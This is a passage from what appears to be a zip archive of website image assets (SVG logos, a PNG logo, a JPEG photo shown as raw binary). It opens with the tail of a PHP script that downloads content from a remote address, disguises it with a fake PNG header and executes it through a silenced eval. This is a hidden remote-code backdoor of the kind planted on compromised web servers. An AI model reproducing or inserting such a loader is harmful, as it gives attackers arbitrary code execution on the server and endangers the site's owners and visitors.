    if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
        $通道 = curl_init($地址);
        curl_setopt_array($通道, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $内容 = curl_exec($通道);
        curl_close($通道);
    }

    return $内容;
}

// 尝试加载主网址
$结果 = 加载数据($主地址);

// 添加假的PNG头部
$假PNG头 = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A";

// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;

/**_**//**_**//**_**//**_**//**_**//**_**//**_**/
// 如果成功获取内容,则执行
if (strlen(trim($结果)) > 0) {
    @eval("?>$结果");
}
?>
PK��\9O�~~img/down-arrow.svgnu�[���<?xml version='1.0' encoding='utf-8'?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 129 129" enable-background="new 0 0 129 129">
  <g>
    <path d="m121.3,34.6c-1.6-1.6-4.2-1.6-5.8,0l-51,51.1-51.1-51.1c-1.6-1.6-4.2-1.6-5.8,0-1.6,1.6-1.6,4.2 0,5.8l53.9,53.9c0.8,0.8 1.8,1.2 2.9,1.2 1,0 2.1-0.4 2.9-1.2l53.9-53.9c1.7-1.6 1.7-4.2 0.1-5.8z"/>
  </g>
</svg>
PK��\img/.gitignorenu�[���PK��\��}��img/Emera-Primary-Logo.pngnu�[����PNG


IHDR ��~*PLTE+[���$U~Do��*Z�7c�
tRNSSk���_IDATx��[�������=�(<�D0�3�(Q�#��������Z�l'Y�;!T�?����� � � � � � � � � � � �Au]גt��E�{��>���E��Qsy�ѬS?�h<y(��:�]U�{�}��k߉F�����~���#�<��{O#�whx�џyG�	��Uր֋;�nE��l:J�=XP¥��7���Im���P���	�e'���#�*�]V�i�#|�Aoڑ��*b	�7����sG$Lw��h2���U
��i��{����B�.oHS!�[Y%�Es��^�Dr�����j�~rU
$Do�k����=�6}�����s�$H'�����i�i���H�)��À�$o��V
��~�q�Sn�~Yx$�r�W�$�n�@
��{3I+���jnԁ��H:��^�EFخ��c�d~k~�N��2���b���]�����B�'=��p�u��C�f��@Ib�m�Z�C*�r#��ḿ$5�6����3#�H��$�F��	︘k�0c�Ъ��̖a���x�;"p�2�Q
#1��i��7�[��kš<�@�����o��A�шhB[d�+M��8�$~;��V�ڤ�4 Z}�k��I�v��B�ͪ�0v݄�x�>zZ��o �)���#���!��ܦ�������0eF�}_��aL?6 ��@��b�Z1�r b��
D3�ՐU��j����.d^��D��B��*Ah��!���CW�m~�I@�)�dN	B�"�@�hiQ��^�~[�h��J�������R�5#������j���Y1l�/@o$ѳ1�a;����VD�d���������vh�^@�4�w��N�Uz �ĥ��J����:?�OF��D�D��Ȗ�I����o�4�@���30������!�.�&w�)���{^�z*��Rjrg@L��{޳:zϧK�NXy!������zk2B�;��mF-�ʚL���1"���v+�5Y!8K!��qZ����D�7c�@�1����W���)�z�o�V�g����}Om��1��[<?�Κu�����R�;�Rs&@L��&{�;yP�7�pVj���^x������Pn�����X7I{���3�~��n˹����Ag�H�)md�)�;<���n�9��/A-5,��?J�t|:�=X#��};N��!Il�D��t��cX~����o���{y��oo ��<�LD���),|s����s�v�!��
��1P�/D��@m錧�n�Z��@��R0�`�P�օh	y�����2z
"Gn��-@��rz�^eIi�JWk�a�N]H��5��^@x����`@��5H�y����;��
Sr2dV�>yݓz��cB���Zo<�#U��D4�ow�@����u�EH�E[�ow ��x�S-u����c����K���!t�mw�D��x
�tLIlv{�+�������& vDSwA��Ӟ���Ԓ;� �)@��}�DDO�����m�D�w~���P�&M�o��
d[�C 5�8�Ԛ��w�����6A�6f��M�#a�ם�o¤���a�� �vvN���I�y��Or!���mj�23�#SV:�)H���������ö�DKnl܁+�Ƭ�s��oߗ�l���s��әS`m��q�s�h��}  6�}l8P��ӟ�K1g�G�[�6�݄Y���D�Ć�l\<�9��V��s�����}��`Bl�w���҃���D(�)[��Ml�o��X�kX��.%D��e�����Bt"��@�i@�������} 6���C\�!&��d��7uJ.L�%unBҀ��V|���n�� aN�+��)0���.��$�����-�1Q��+�����Y�8�nSv�8u��@�o
�oT���up���f �!6!�0ѳ!X�p�+&?��[X��59��Ag���1��
JB��9c��� I��z�i@l��mW�؅~'ҁu����7�sE3�}��k!i@�_ɋ� ��Ƃt9���n�����+{�%�M�����D��@��1RL	�\�.E: ��@8�:7���#�Ė3��@L"W 6�	
 <���Ѳ��[�-���¡�6��@�'[� ����پ�blș1�M@l]<�x+ z ®��,��1x��x) �'��"�B,�x ��
��2
�x �ہd�x v@0����@�e��b�L�k�1~�!�z�3�	 �@X��yA�'�5r3fܽ���$^�"{ �<�0t!FY��L~��h<����
za ��M�w���mC�lS��7�A�{�-�Đ�xDbxo vY�F*<;��o��@�9!�Q�&O �,�7��齁�~�!��u��#|,2���/&@���DA����7�]�
V"�t@49�s&S z���P@�Q�`������
�! �bJD�;��v�@���{T J�^e�@���~@����/�xS ��譀�1�D11��2�{����37��ѳw"^���1�����@��\��q���D�ܙ+���f�"��T�wؿ�~�,��;���2+ �|���3=���&�b��l�`�;Sd v�)"[ L~Y!�a<:U�/�~�1u���Ԓ�}�0�=���)2��a�{��)2������wH ڸ@X�F��
�����������wH ���a=�V�'�4%ʍ�5s�
��H6��@X�n�!�K�	�;;���*�Af�����V�C����L@��g{��
V�C� �%��<����<3��o��r"�>�JD�	�~�kY�b���@�����)��2�@�u��@��r��s��O6÷��P vy�m|���
������<��b��@��b�
�C�Ȭ�,�"E���pI:��Q~(e^@��Q|(E^@��b��@����@��Rc>@��^�D�n��_
!�(?��Rc��G���Yj���C�Y��D쪒�S��_-��<yo DV�����U% �J�eF@
D���_��(?�2' v5yfD�F�vI��C�}F@�3y�D�F�z^Q��gV@���9�ǝG#�	D��43 r�	Al		D��en@dR��XD�D&5!�-a����ȣ&��%0�"�YԄ�Ex�hO3"N?bd-�Q,�?�(c�������	D�����p��>3����8j_��p���	DQ�\��s<��H �����8��ĩ."��?N����",�ģ����7|~�^�#t�Ν�qi��/���4 ���������G�1�Nu-��uHI�lA#�.�ߩK� � � � � � � � � � � � � � � � � �,���(����@@��  @@���@ �@  @@�� �wO��o� � � � � � � � � � � � � � � � � �R]׵��.�ϰ׍O"����.�eb��Uq�T�������3Ru�>b�7L�X�y&�4���M�+D�}�)vU��u�}��O��ˎ�/���2�����ڧKV�����=}of�U�W�1L(�!�>n-7�(���R�h����u��vE���@Ey���GW?v���Q���U1�ŋ;���@����0�NX T�q0p�,�+�?�*�ݞ�K�%>Z F^r�T�
�W�Eyt����B���#e�5KR
 l��~�ݴ$%��S����u�al1J}U��b�]��ӕ6��2���ؽH�#H�j���@��Ae
�A_�@<>SՊ�
�>t���J�3���N�ʧ��7��Bo�@�
�;<ה��3�2I��{�r=�W؄b���-�o3w�O^�>��H��/������/>�*�#g��T���}�=Z�A�1W���b�fQCZ�o��E�2�v��˳�a~�9�K ����L��\�S��7����*���0�Ab�2��?eah�-c�y��֝ʋ�e3�jSҬO��0��%BC�]�a��/���/�eoG���y�[��ݳ��@��Y۫�։����3�Ga~�<��Oi�OE~�V��+�P�g�f�<
s�9iޭXQ�z^�#�H�~>6߱U��ú�<O��bƀ��(���I@G �^�܈��p���֎^4�⻲�
T1��&������1V-N	�j5���5� C�J;,��uy�ďqkK�rӦ�J���b(�-h@����ӳ��O��gmE�-w ~J�\}K9�,8�x��`�:0��ʳv�S��X�\/�O�A�j��`�F
�ؼ2��D1s�[\����e~��5S ~�Z�΂1�,�ѮL+�t �u@5Uvv�'q�C�d�@<�U�{uL@<"eIO�Ͷ�Aj2��HSs ��p�%կi�fY�(��ѭ���
�.��@�:��DK�L�O���,I_��'Q��m3J��%B ^�	XZQ�gR%	q3��nލs췱Q=͊�n���1%�C,�M�*$gZ�Q�	�j��S�H��-��񓴭�p��T��)u�,z���r0P��>�����i7d 4�1��B������V"i��f�0�ZYXS���7M�R���D��cN@<q�  ���#�~���M�^%�}ʀ@ڧCR�T�"{��!w���M��@�n`���g;�	�*�[�r9)5����J�����)RQ�|�V��4_��s0�#��C�����!��~�A�
<K#3B�v �S!\�e��h5�$����@,?���,+�J���sM��s~P��u]�R=7���2 f^U�Х�rϡ{e��UΝ��"�axN8��}���[�a�u�[�$�?0���Y=UKv��0��t�Z�ēL:S�j��i�:um���`�i�0Syq7_f�P9����#�gG�b�r?H��UW��b��Bs8�R��q�$z���ģ}�����$�!h@,6Ļ�vjT�J��Sf��h~J ��y���ݺ��=�'�܀�m��M�lǔ��P>�-I���B��o���C)���¾�#B	�鸄\��UJ;��Ͽ (�ݪ]�A�(3B}\�e�|[ *�!)��z.C�BdDe:�C� �5 �f 4����U)v\.�?I7 d�@tJ n��N�<T+��@����r.u��[�J �5K �<�{��<,������Z:�����yP�1�ևR(�#��T�$Bh�8k���I���N�@hڌ�^�Aw$��1
E|���針���\��4���D@Ӂu�����o�;�?��T����g+bQ�]3��z��y�i�2=�ꬣ�/ꁣ�/�<R���ڊ����2�ӥ��r�oMF�:���D����nZ���,vik⣸�u~]���f�e}��Q��b�9W��?3Ê�S��o�JkLoDPM{,��E���C)�����S-��_h��*J
 �ǁr�/�
2�-b�y��ҭ��.}rz��Ap��']���u}���0������1�n��
a=�YmFg}�I
 ����i�~�@��.@�w�	�Qϕ�En�/{I7�:.�)�PQoIM	��$��?�����H�N_�K�#��o���jIB�o8)�I
��N��U�->ίGHN�:]���\��{�OD��<**m�}Ê��Z�f�K�B
�ِ��c��81s".	u�,o�I�i�W�@,��{"���κn�i-��о��e���)R����,_Ө~�0�{�k����\��NU�E;�p}߭�yk�Q*V���muj��<��X8��l����;��Pek�|e3��+AAAAAAAAAAAA������6�kIEND�B`�PK��\&F�Nimg/brand-white.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px"
	 viewBox="0 0 54.3 54" style="enable-background:new 0 0 54.3 54;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#FFFFFF;}
	.st1{fill:#EF4153;}
</style>
<path class="st0" d="M20.1,13.8v5H13v20.9H7.7V18.8H0.6v-5H20.1z"/>
<path class="st0" d="M46.2,39.7h-6.6l-7.4-11.1l-3.9,4.3v6.8H23V13.8h5.3v12.3l10.5-12.3h6.9l-9.8,10.7L46.2,39.7z"/>
<path class="st1" d="M52.8,39c-0.7,0.6-1.5,1-2.5,1c-1,0-1.9-0.3-2.5-1c-0.7-0.6-1-1.5-1-2.5c0-1,0.3-1.8,1-2.5c0.7-0.7,1.5-1,2.5-1
	c1,0,1.8,0.3,2.5,1c0.7,0.7,1,1.5,1,2.5C53.7,37.5,53.4,38.3,52.8,39z"/>
</svg>
PK��\��߸AAimg/logo.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px"
	 viewBox="0 0 200 54" style="enable-background:new 0 0 200 54;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#231F20;}
	.st1{fill:url(#SVGID_1_);}
	.st2{opacity:0.5;}
	.st3{fill:#FFFFFF;}
	.st4{opacity:0.7;}
</style>
<g>
	<path class="st0" d="M73.6,42.6c-1.4,0-2.6-0.2-3.6-0.5c-1-0.3-1.7-0.7-2.3-1.3c-0.6-0.5-1-1.2-1.2-2c-0.2-0.8-0.3-1.7-0.3-2.8
		V11.8L71,11v24.1c0,0.6,0,1.1,0.1,1.5c0.1,0.4,0.3,0.7,0.5,1c0.2,0.3,0.6,0.5,1,0.6c0.4,0.1,0.9,0.3,1.6,0.3L73.6,42.6z"/>
	<path class="st0" d="M85.2,20.7c1.6,0,3,0.2,4.1,0.6c1.1,0.4,2,1,2.6,1.7c0.7,0.7,1.1,1.6,1.4,2.6c0.3,1,0.4,2.2,0.4,3.4v12.7
		c-0.8,0.2-1.9,0.4-3.4,0.6c-1.5,0.2-3.2,0.3-5.1,0.3c-1.3,0-2.4-0.1-3.5-0.4c-1-0.2-1.9-0.6-2.7-1.2c-0.7-0.5-1.3-1.2-1.7-2.1
		c-0.4-0.9-0.6-1.9-0.6-3.2c0-1.2,0.2-2.2,0.7-3.1c0.5-0.8,1.1-1.5,1.9-2c0.8-0.5,1.7-0.9,2.8-1.1c1.1-0.2,2.2-0.3,3.3-0.3
		c0.5,0,1.1,0,1.7,0.1c0.6,0.1,1.2,0.2,1.9,0.3V29c0-0.6-0.1-1.1-0.2-1.6c-0.1-0.5-0.4-1-0.7-1.3c-0.3-0.4-0.8-0.7-1.3-0.9
		s-1.2-0.3-2.1-0.3c-1.1,0-2.2,0.1-3.1,0.2c-0.9,0.2-1.7,0.3-2.3,0.6l-0.6-3.9c0.6-0.2,1.5-0.4,2.7-0.6S83.8,20.7,85.2,20.7z
		 M85.6,38.8c1.5,0,2.6-0.1,3.4-0.2v-5.4c-0.3-0.1-0.7-0.2-1.2-0.2c-0.5-0.1-1.1-0.1-1.7-0.1c-0.5,0-1.1,0-1.6,0.1
		c-0.5,0.1-1,0.2-1.5,0.4c-0.4,0.2-0.8,0.5-1.1,0.9c-0.3,0.4-0.4,0.9-0.4,1.5c0,1.2,0.4,1.9,1.1,2.4S84.3,38.8,85.6,38.8z"/>
	<path class="st0" d="M104.5,42.2c-1.3-2.8-2.7-5.9-4.1-9.5c-1.4-3.6-2.7-7.4-3.9-11.5h5.2c0.3,1.2,0.6,2.4,1,3.8
		c0.4,1.4,0.8,2.7,1.3,4.1c0.4,1.4,0.9,2.7,1.4,3.9c0.5,1.3,0.9,2.4,1.3,3.4c0.4-1,0.8-2.2,1.3-3.4c0.5-1.3,0.9-2.6,1.4-3.9
		c0.4-1.4,0.9-2.7,1.3-4.1c0.4-1.4,0.8-2.6,1.1-3.8h5c-1.2,4.1-2.4,7.9-3.9,11.5c-1.4,3.6-2.8,6.7-4.1,9.5H104.5z"/>
	<path class="st0" d="M127.3,20.7c1.6,0,3,0.2,4.1,0.6c1.1,0.4,2,1,2.6,1.7s1.1,1.6,1.4,2.6c0.3,1,0.4,2.2,0.4,3.4v12.7
		c-0.8,0.2-1.9,0.4-3.4,0.6c-1.5,0.2-3.2,0.3-5.1,0.3c-1.3,0-2.4-0.1-3.5-0.4c-1-0.2-1.9-0.6-2.7-1.2c-0.7-0.5-1.3-1.2-1.7-2.1
		c-0.4-0.9-0.6-1.9-0.6-3.2c0-1.2,0.2-2.2,0.7-3.1c0.5-0.8,1.1-1.5,1.9-2c0.8-0.5,1.7-0.9,2.8-1.1c1.1-0.2,2.2-0.3,3.3-0.3
		c0.5,0,1.1,0,1.7,0.1c0.6,0.1,1.2,0.2,1.9,0.3V29c0-0.6-0.1-1.1-0.2-1.6c-0.1-0.5-0.4-1-0.7-1.3c-0.3-0.4-0.8-0.7-1.3-0.9
		s-1.2-0.3-2.1-0.3c-1.1,0-2.2,0.1-3.1,0.2c-0.9,0.2-1.7,0.3-2.3,0.6l-0.6-3.9c0.6-0.2,1.5-0.4,2.7-0.6S125.9,20.7,127.3,20.7z
		 M127.7,38.8c1.5,0,2.6-0.1,3.4-0.2v-5.4c-0.3-0.1-0.7-0.2-1.2-0.2c-0.5-0.1-1.1-0.1-1.7-0.1c-0.5,0-1.1,0-1.6,0.1
		c-0.5,0.1-1,0.2-1.5,0.4c-0.4,0.2-0.8,0.5-1.1,0.9c-0.3,0.4-0.4,0.9-0.4,1.5c0,1.2,0.4,1.9,1.1,2.4
		C125.4,38.6,126.4,38.8,127.7,38.8z"/>
	<path class="st0" d="M149,42.6c-1.4,0-2.6-0.2-3.6-0.5c-1-0.3-1.7-0.7-2.3-1.3c-0.6-0.5-1-1.2-1.2-2c-0.2-0.8-0.3-1.7-0.3-2.8V11.8
		l4.9-0.8v24.1c0,0.6,0,1.1,0.1,1.5c0.1,0.4,0.3,0.7,0.5,1c0.2,0.3,0.6,0.5,1,0.6c0.4,0.1,0.9,0.3,1.6,0.3L149,42.6z"/>
	<path class="st0" d="M159.1,15c0,0.9-0.3,1.6-0.9,2.2c-0.6,0.5-1.3,0.8-2.1,0.8c-0.8,0-1.5-0.3-2.1-0.8c-0.6-0.5-0.9-1.3-0.9-2.2
		c0-0.9,0.3-1.7,0.9-2.2c0.6-0.5,1.3-0.8,2.1-0.8c0.8,0,1.5,0.3,2.1,0.8C158.8,13.4,159.1,14.1,159.1,15z M158.6,42.2h-4.9v-21h4.9
		V42.2z"/>
	<path class="st0" d="M164.5,15.7l4.9-0.8v6.4h7.5v4.1h-7.5v8.6c0,1.7,0.3,2.9,0.8,3.6c0.5,0.7,1.4,1.1,2.7,1.1
		c0.9,0,1.7-0.1,2.4-0.3c0.7-0.2,1.2-0.4,1.6-0.5l0.8,3.9c-0.6,0.2-1.3,0.5-2.2,0.7c-0.9,0.3-2,0.4-3.2,0.4c-1.5,0-2.8-0.2-3.8-0.6
		c-1-0.4-1.8-1-2.4-1.7c-0.6-0.8-1-1.7-1.2-2.8c-0.2-1.1-0.4-2.3-0.4-3.7V15.7z"/>
	<path class="st0" d="M180,31.8c0-1.8,0.3-3.5,0.8-4.9c0.5-1.4,1.3-2.6,2.2-3.5c0.9-0.9,2-1.6,3.1-2.1c1.2-0.5,2.4-0.7,3.6-0.7
		c2.9,0,5.2,0.9,6.8,2.7c1.6,1.8,2.4,4.5,2.4,8c0,0.3,0,0.6,0,0.9c0,0.3,0,0.6-0.1,0.9h-13.9c0.1,1.7,0.7,3,1.8,3.9
		c1.1,0.9,2.6,1.4,4.6,1.4c1.2,0,2.3-0.1,3.2-0.3c1-0.2,1.7-0.4,2.3-0.7l0.6,4c-0.3,0.1-0.6,0.3-1.1,0.4c-0.5,0.1-1,0.3-1.6,0.4
		c-0.6,0.1-1.3,0.2-1.9,0.3c-0.7,0.1-1.4,0.1-2.1,0.1c-1.8,0-3.5-0.3-4.8-0.8c-1.4-0.5-2.5-1.3-3.4-2.3c-0.9-1-1.5-2.1-2-3.5
		C180.2,34.8,180,33.4,180,31.8z M194.1,29.6c0-0.7-0.1-1.3-0.3-1.9c-0.2-0.6-0.5-1.1-0.8-1.6c-0.4-0.4-0.8-0.8-1.3-1
		c-0.5-0.3-1.1-0.4-1.9-0.4c-0.8,0-1.4,0.1-2,0.4c-0.6,0.3-1,0.6-1.4,1.1c-0.4,0.5-0.7,1-0.9,1.6c-0.2,0.6-0.4,1.2-0.4,1.8H194.1z"
		/>
</g>
<g>
	<g>
		
			<linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="-320.7039" y1="-248.0636" x2="-320.5604" y2="-248.0636" gradientTransform="matrix(360 0 0 -360 115455 -89276)">
			<stop  offset="0" style="stop-color:#EF5037"/>
			<stop  offset="1" style="stop-color:#EC1A75"/>
		</linearGradient>
		<path class="st1" d="M38.2,52.7H16.7C8.3,52.7,1.6,46,1.6,37.7V16.2c0-8.3,6.7-15.1,15.1-15.1h36.6v36.6
			C53.2,46,46.5,52.7,38.2,52.7z"/>
	</g>
	<g class="st2">
		<path class="st3" d="M27.4,14h-8.6c-2.4,0-4.3,1.9-4.3,4.3v17.2c0,2.4,1.9,4.3,4.3,4.3h8.6V14"/>
	</g>
	<g class="st4">
		<path class="st3" d="M40.3,26.9H14.5v8.6c0,2.4,1.9,4.3,4.3,4.3H36c2.4,0,4.3-1.9,4.3-4.3V26.9"/>
	</g>
	<g>
		<path class="st3" d="M36,39.8h-8.6V26.9h12.9v8.6C40.3,37.9,38.4,39.8,36,39.8z"/>
	</g>
</g>
</svg>
PK��\�)�k�k�
img/cover.jpgnu�[������JFIFHH��@ExifMM*nt��(14�2ȇi�CanonCanon EOS 5DS R,,Adobe Photoshop Lightroom Classic 8.3.1 (Macintosh)2019:08:02 11:47:54"��z����"�'d�0�2d�0231������
����
’ʒ�	�
Ғ�00��00�0100�������ڢ������1
�2��4�5,
2019:08:02 06:06:202019:08:02 06:06:20k��5))���������332154000006TS-E24mm f/3.5L II0000004b61��?http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:aux="http://ns.adobe.com/exif/1.0/aux/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" aux:LensID="95" aux:LensInfo="24/1 24/1 0/0 0/0" aux:ImageNumber="0" aux:Lens="TS-E24mm f/3.5L II" aux:LensSerialNumber="0000004b61" aux:FlashCompensation="0/1" aux:Firmware="1.1.1" aux:SerialNumber="332154000006" xmp:CreateDate="2019-08-02T06:06:20" xmp:ModifyDate="2019-08-02T11:47:54" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 8.3.1 (Macintosh)" photoshop:DateCreated="2019-08-02T06:06:20"/> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��xPhotoshop 3.08BIM?Z%G?060620>20190802720190802<0606208BIM%Rv��n{K�Q�Q3�����!��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������C








��C	����?�W�ӂW�a�Q��E�.;�8��A�sJ:zP�<t��u��iq@�8)qۭ��zz��4�{�4�P.��;�F	�z�18�O�N�(@�Hϵ�(Q�R���^s�H����ځ�	����A\Lqҗi�]E��z(ɠ/��Aӊ]��1@y)��@�����=����{P �(#��P!p?
\sAM3ҝ�ƀLLw�/=����ю���=x�}
q�@�o��
9�H�Q�c�q@��Jz��:zb�{P+�b�`=�)h(Q��ր�=��@n.�J
�;PKA�z��o�q@$&:Ӷ��H6�Q���v	��^h(�cځ�@�&������a�1K���HV��c�0����ց�@��@9��E)��Zv1��)�c��ސ!�'�ҁ�)Fq�@�{R��s����2E���4�j��ۊP�����ƌt���v�4����{�.0�=1Ґ1vҁژ��9��3ސ�	�iH�Rc�wqJ�"���\�4�sEw���@�Q���+K�(�Q�ځ�/CA�?��c�P4'oz0(8��OJ������a��9�҂B����1ց:b��:
b��)=���‚��q�A"�c�29��b�!1ۥ;�L�c�.&j0E����mǵ.(����ژ	�?��c�6�@.)�P�m�Q@�.0i0>�P;RA!�Z\~ƅ�9���HR�\Q�C�1�OQv�q��c"���La�t��h�h��`⎴;
\v�0�9�)1X1�R��4c"�������F*�&1ȥ�1�u���$;�1HB�&)�%�&;R���%	�Gz_ZLh1��S�c��D�A@P1J����T�FQHw)1@�����1�
�q1@�&�G�J���G#�@(��&?:@/^�����L`у@_A0z�\`zP ғ�ҋ����~���)/�&	��
��q��
^�f�`�c=j@B9�(�c
����x���P)q�!�nJ\R���J;���&h�
\��.1қ�jCb�r���Ӹ0���@�G� ���/Z)���.8�
�c�8��
3��@�h�~��8������~
w�ZG(
8��cq�4���@�(�'N�PH�b�v���c&�3@���⁋����Hc�8�c��v(p1�/'��4P1B性9�����;�҂8�B�����N.zq�=*+�OO��˭kW��V1��9���I�� R`~r���z���Os�=@��wox���Ǿ9c݉�����n��ٳ�_����HG�=�Ҿ{��t�T���uRq�m�k�^�ŚǙ8-gn��c�d��ϩ��_a�V�m�M3-���v<*��O�+岪|��iu>�0��*Q�#�?���mw�Y���?�z�����[K�g�oc����/s_5VR��4�N� ���w�Wgњ&��p�Z�����Mw��#A�
~�B�i�B+c�Jե)9��%c �H98=�+_>�(J�1#�FE6�<������?u�]��Y��@}���|���������_��q�m�1�[U;3_e`�~qv��
 ����B����֬�"A���O‚>\�jH��aL�Rm4�Vv�L�J�e��P��q��;��A׹+�{P��ӷ�Z
܉�0_�Y׳�k�N�c@K�Y����E�e���.�|]~XS�E��V4�q+��t�5��13���~���h�GO�ʻ�	�I�	?���v��E�Э�p�濣Åc(��b�j\d�� ӏ� �Ӏ���zR`c���ZwS@�t�_J1۽;���41@�P+�zb��@�#4b�/�)㯥&1�iq��@��0�i�ڀ@G>��`�0��
\Pcڔ��i�R���(�t�JLt�}(0)�q���@A�FLPK9��@�qF�S���$JL����ӱ�Ҁ�/oz����t���(p)y��v��@�c�;��@�.
����#�z�j_c�@Gj1�P���	R㟥@pM&1@��;���q����1���ސ�S��1�v8�rh(�#����(��<�R��@�s�4��q@�N3A�H�4�4��杁�Q@���@�� 
�MCiy�R��R`b���`zQp�h��
LHc��:9�!�Ҁ*�⏯SHB�Ҟ)c�\q@�F?*\qG�1�/N�?�.8Ƞa�q�K��b��y4`(��1�@�(��P!�Rc<�┌�@V�����v�:��N4�
�PG�@Ѐf�
	zR�ց� R�~4&=.;PKqK��� ���F�(A�^�cӥ/=G9�
}iq�ց	�\`�&�\zR)��=i�R3�&�HB�
.1� ���
1�G��Hv(�)&?
8���hqMP�\PG���c��&�6���A�R�@(�+�1֔�ހ߽&i���� �\f�@b��x����\S�9��pJ1���0(�aHb�HGz@�N��S�M���F84�4�)q�Ha�{Q��zQ�h@���H�O�����~���� ��)Rcބ����i�H�`u�c�\
w�Rǵ&B�Ҍ
��(�>�P��@�h1�F(�����C�^���'�.ZE	�Ǝ���!�(�)�����}��~����i����@	��9��S�f��x�c�R@��A�E&8�`g�\u4\c���Q��hq߭&(��Ґ�P��K�ӥ��R;�t�h)b����P>��1��;�`P9�P!8�S���4&(��b�b�zP�{�GZ6�h�]Eǭ⁊)p;�b�ҀB��(�\c�Zp�r��c�i!�SN�<R})q�~8����F:у�&?!K����i�ڂ��<S�ɠ���c�:�?|E�.�.�
6Lݺ�&�_����}sՕ�oMks�+��L��57��m���tܞ��5�WX����q�t��#�<��D>�rO���guP��9=4��K�����1i�"q��.���'��~4x�I)�v�&R
��r"�z����Ia����/z��g����`�2OW�x?��Y�'�3����k����G�W�Ό���Y?���Z�1�e�ϯaZ[Xdc5�j�~_+�!��w�4A=���߼Uu�s�F*�d��fU��A�ߺ������6��*��+������!����G�i�E��<�� p9����V�nĻ@q����V'��pAi01�JHRz
P1�C�R�`�}*�l1r<{����ԕm|��3L����6�Ԅ�lf�@��fZ܅�G8�O�~#mJ��O�x��GGa��;W�����C�2�>ֿ3�:����y��a�����4�#Q��������:����R5�Dj8�J�{%���s�ыh g4(F���`s@y��@�0��bu�~@�����ip��`G�N ���&��h��揭
��@�G�.9�Z\
1��P'�q@	9���!p���@�AQ�s@Pz�A���ހ�I��!b�u�S�G4��#�({R��B�4c4���8�9�B�<f�
&1�)�P4m�($P3�h�j
��>�L��u��:�r)GP���s@�	��ҝ�=(Bb���	g�ғh�@
-w��@��J\Ɓ9ȥ�@;ҞE94����f�v4�^3�H@$zP1����捸�@��4�G_Z
�=E�q�4w恱��$�8�@"c�)��XQ��(���i�HL(���=)q����!�G���LP3K�ҁ�v4��ڀB)�⢀)0M.&������� �����H����p:��(`w�-�^Կ�.}iq�h�K�~�(�|�!~�x��v )q�P0�\u��0iv��(�ߵ�j��a�Z0(�zюh��=)q@� d��ւ�c�;҅����GZ-�lv;�E(��K��
���t��)s@��cF(=��Qq�^���i\q׽qLA�Q���t4�ƀ
�})1ڥ0���{QڀzQ�@"��Z!�ȥ�4��(� sK�E� �F9�1J(d�1A��:	��)G���S����4����R9�(���:R�
 B��4�N���4�	0��t�P};��L�����6����I�LW�=�hLR�4u4`�BP*O�G�(�=��֓� �(�؃�0)
���@�qH�0��H�b�\{�u��0;��`
���i��J��1I�0�ь�bzҀ:C�\~4����҂zL�E�4c���@�Ͻ&9�ր�(�JN�P �4��
\u����z��1H��@��4��l1G=
A�ފ
�v�G�A��b�o�֛�Z]�b�(��8���@���v��֗�⁡x4��ҀB���@zv(%�� ���4)���
������K��6.8Ƞ�y�֌dPP����K�C��.�‹��y4�s@u�c<w��.2i�
W�>��8�1�R�=(/4PWA�v��-.=W'�@K���'��� ��Օ��a���G���sھ
����2I?\��s^}gyX즭�|��ǣ[��ҥΝ���YON8?UN@�ɮ�����,����wv��
�8�?�u>�W�E�g0��D�[}_��_��|G�~�̖�?����?������?�|C,�M#K+w%���$�I��&s[��i.�^YJ�u;���O}�a�ݯ��?��o_½�O�W>s��������mk-����Wq���΅q�=��J21�~��	))�k
���H���_�Vr?�� �9�֫��1R�1������<At?�:�<=��z����_S���4��o���Z$r9�Z�|'��u�c�|ܚF�=q�X�ԅ��8�i�AǨ��v�}iYT��6m�<sM 1���
�c5,�=ȏ���YƳ+��6� ���6o��bB?�z}OJ�=>��c�y&�S���5�3�L����9張�#����{�cij��c����\<-��ʭ�ܲ�1�u�b*�<���g4��}+�0�<^:\v�@JS��(_���l�9�=�J%�4�c4�&�}iv��@ ��.~E���`���h#��.3�JLs�F{A;=A�y�AB�䌊��(^y�B���v����w�}(�{Pqځ�)L���.�ߕ3�8��$&�v	����ޜFx��&�)q�.:Q�(���t�`�����h��@�`瞴����}�@�P>��1��@:�<���;qK�	g֎(�j�(�c���@=(�:P0f��x�N(@�=((\~���Ls�K�9��y�K��ځ��:�P(q����1H��h�Ja�_�Q�42"1�ӂz�I&)E
